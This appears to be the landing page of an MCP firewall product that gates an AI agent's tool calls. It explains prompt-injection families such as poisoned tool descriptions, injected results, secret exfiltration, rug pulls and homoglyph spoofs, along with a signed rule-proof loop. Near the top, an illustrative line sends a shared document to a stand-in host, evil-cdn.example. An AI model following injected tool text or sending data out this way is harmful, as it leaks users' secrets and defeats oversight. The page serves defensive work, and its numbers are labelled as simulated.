MCP firewall · autonomous remediation · verified immunity
Immune is an MCP firewall with a memory. It sits between your agent and its tool servers and catches poisoned tools, injected results and secret exfiltration. When something gets through, it synthesizes a countermeasure, proves it against every trace in ClickHouse, signs the proof, publishes the ruling, and verifies that the same attack now bounces. The clock on all of that is the headline metric: Time to Immunity, in seconds.
$ git clone https://github.com/vnmoorthy/immune && cd immune && pnpm install && pnpm demoacme/read_shared_doc → send_webhook https://evil-cdn.example/collect
Simulated loop, for illustration. In the product the same seven steps run after a real breach, each timed and visible in the command center.
01 — The problem
A tool result is just text, and to a model text is instructions. A poisoned description or an injected document can make an agent exfiltrate a key with its own hands. The model is not the attack surface; the tool channel is.
MCP-Scan, doorman, PoisonGuard and a dozen proxies already flag tool poisoning. Another detector is not a product. What is missing is what happens after a breach: learning from it, proving the fix, and remembering it for the next agent.
“Patched” is a claim. Without replaying the new rule against every attack and every benign session you have ever seen, you do not know whether you fixed anything or broke everything. Immune refuses to say done without a signed receipt.
02 — How the loop works
When the gate lets an attack through, the Remediator runs this loop automatically. Every step is recorded, timed, and shown live in the command center.
The breach is written to ClickHouse as an Antigen: the tool definition, the result the agent read, the call it attempted, the taint state, the findings, and the decision that let it through.
The synthesizer derives a gate rule from what made the payload different: tokens that occur in almost no benign traffic, the destination host, and the capability-plus-taint signature; when a sink is identifiable it also writes a Semgrep rule for the server’s source.
The candidate is replayed over the whole corpus (attacks and benign) in ClickHouse, and promoted only if the breach is now caught, the catch rate rises, and false positives do not.
The paired Semgrep rule rescans the MCP server’s source so the weakness is located at the sink (tool result flowing into fetch() or exec), not only intercepted at the gate.
The proof is canonicalized, hashed and HMAC-SHA256 signed into a Receipt. No receipt, no “done”.
A one-paragraph precedent, with evidence traces and the receipt id, is published to Senso’s verified-context layer (or stored locally when no key is set).
The identical attack is replayed against a fresh session. It bounces, and the denial the agent sees cites the ruling.
Milliseconds from the breach to verified immunity. It is the one number on the dashboard that matters: seconds, not the days a human takes to read a trace, write a rule and hope it does not break legitimate traffic.
03 — The gate
Every tool is declared with capabilities: read, write, network, exec, secret. The gate inspects definitions at list_tools, results after every call, and the next call the agent attempts. Rule precedence is quarantine > block > flag > allow, and promoted antibodies plug into the same engine as declarative rules, with no redeploy.
| Family | What it looks like | What the gate keys on | Verdict |
|---|---|---|---|
| Poisoned description | |
Imperatives addressed to the model inside a description, hidden-block markers, and references to other tools with secret or network capability. |
Quarantine |
| Result injection | |
Instruction patterns and role-spoofing tokens in returned content, cross-tool directives, and the same payload arriving through fetch_url (indirect fetch). The session is marked tainted. |
Flag |
| Secret exfiltration | |
A secret-shaped token in an outbound argument, and a URL whose host is not in the allowlist. | Block |
| Rug pull | |
The hash of name + description + schema no longer matches the hash pinned when the tool was first trusted. | Quarantine |
| Homoglyph spoof | |
A confusable-skeleton collision with a trusted tool name, including zero-width characters, often from a second server shadowing the first. | Quarantine |
| Taint flow | |
A network, exec or secret capability call attempted after a flagged result in the same session. |
Block |
Payloads are illustrative. Hosts under .example are reserved and never resolve; AKIAIOSFODNN7EXAMPLE is the documented AWS example key. Decisions are made in-process in under a few milliseconds and every one of them is a trace.
04 — Proof, not claims
An antibody is promoted only when a replay over the entire corpus shows the breach caught, catch rate up, and false positives not up. The proof is canonicalized, hashed and HMAC-signed into a Receipt that anyone can verify offline.
{
"id": "rc_7f3a9c21be04",
"ruleId": "rl_2d8e41c0a7f3",
"proof": {
"ruleId": "rl_2d8e41c0a7f3",
"corpusSize": 12400,
"corpusHash": "9b1e4c0d…c4d2",
"before": {
"attacksTotal": 2400, "attacksCaught": 2261,
"benignTotal": 10000, "benignBlocked": 0
},
"after": {
"attacksTotal": 2400, "attacksCaught": 2379,
"benignTotal": 10000, "benignBlocked": 0
},
"catchRateBefore": 0.9421,
"catchRateAfter": 0.9913,
"fpRateBefore": 0,
"fpRateAfter": 0,
"targetCaught": true,
"semgrep": {
"ran": true, "findings": 1, "ok": true,
"summary": "tool-result → fetch() sink, acme_server.ts:88"
},
"replayMs": 412,
"storeMs": 38,
"promoted": true,
"reason": "target caught; catch 94.21% → 99.13%; fp 0% → 0%",
"ts": 1791581413442
},
"createdAt": 1791581413451,
"algorithm": "HMAC-SHA256",
"payloadHash": "3c1f8a0e…9a07",
"signature": "e6d2b4f1…41bb"
}$ immune verify receipt.json
✔ payloadHash = sha256(canonicalJson({ ruleId, proof })) match
✔ signature = HMAC-SHA256(secret, payloadHash) match
✔ rc_7f3a9c21be04 is valid · rl_2d8e41c0a7f3 is promotedProofReport: corpus size and hash, before/after counts, rates, the Semgrep result and the replay latency.payloadHash is the SHA-256 of the canonical JSON of { ruleId, proof }; key order and whitespace cannot change it by accident.signature is HMAC-SHA256 over that hash with IMMUNE_RECEIPT_SECRET. Change one byte of the proof and the verifier refuses the rule, and with it the word “done”.Numbers from a simulated run on 2,400 attack and 10,000 benign traces; shown to explain the promotion rule, not as a benchmark.
Command center
Status strip, Time-to-Immunity readout, catch-rate and false-positive gauges, the attack arena, the live wire of decisions, and the remediation theatre, all on one screen.
http://localhost:3000 after pnpm demo.05 — Built with
Immune runs end to end with none of them configured and reports each adapter honestly in its status strip. Set a key or install a binary and the integration lights up.
Every Antigen is a row. The replay corpus, the proof queries and the data panel run here, with latency measured per query, local server or Cloud.
Each Antibody ships a Semgrep rule; the rescan step runs it against the MCP server’s source and a rule pack for AI-generated MCP servers ships in the repo.
The Remediator is packaged as a Guild agent with a webhook trigger: a breach trace comes in, the seven-step loop runs.
Rulings are published to the verified-context layer and cited back to agents in denials, so the next agent is refused with the precedent, not a generic error.
Optional open-model refiner over an OpenAI-compatible API: it generalizes a drafted antibody and writes the plain-English ruling. Everything it drafts is still replay-proven before promotion.
06 — Architecture
A stdio MCP proxy wraps any tool server and gates every definition, result and call. Traces stream to the command center and into ClickHouse. A breach triggers the Remediator, which touches Semgrep, the receipt signer, Senso and Guild, then replays the attack to verify.
07 — Use it with Claude Code
Point .mcp.json at the proxy. Everything between wrap and -- is Immune’s configuration; everything after -- is the real server command. The snippet wraps the bundled demo server; swap it for your own.
{
"mcpServers": {
"acme": {
"command": "npx",
"args": [
"tsx", "apps/proxy/src/cli.ts", "wrap", "--name", "acme",
"--",
"npx", "tsx", "apps/proxy/src/cli.ts", "demo-server"
]
}
}
}list_tools: scans every definition, pins its hash, drops quarantined tools.call_tool: gates the call against detectors and promoted rules, then inspects the result and tracks taint per session.--api http://localhost:3000) and pulls promoted antibodies every 10 seconds.$ npx tsx apps/proxy/src/cli.ts wrap --name acme -- npx -y your-mcp-server
$ npx tsx apps/proxy/src/cli.ts verify receipt.json
$ npx tsx apps/proxy/src/cli.ts rulesCatch, synthesize, prove on the whole corpus, sign, publish, verify. Every attack that lands makes the next agent immune.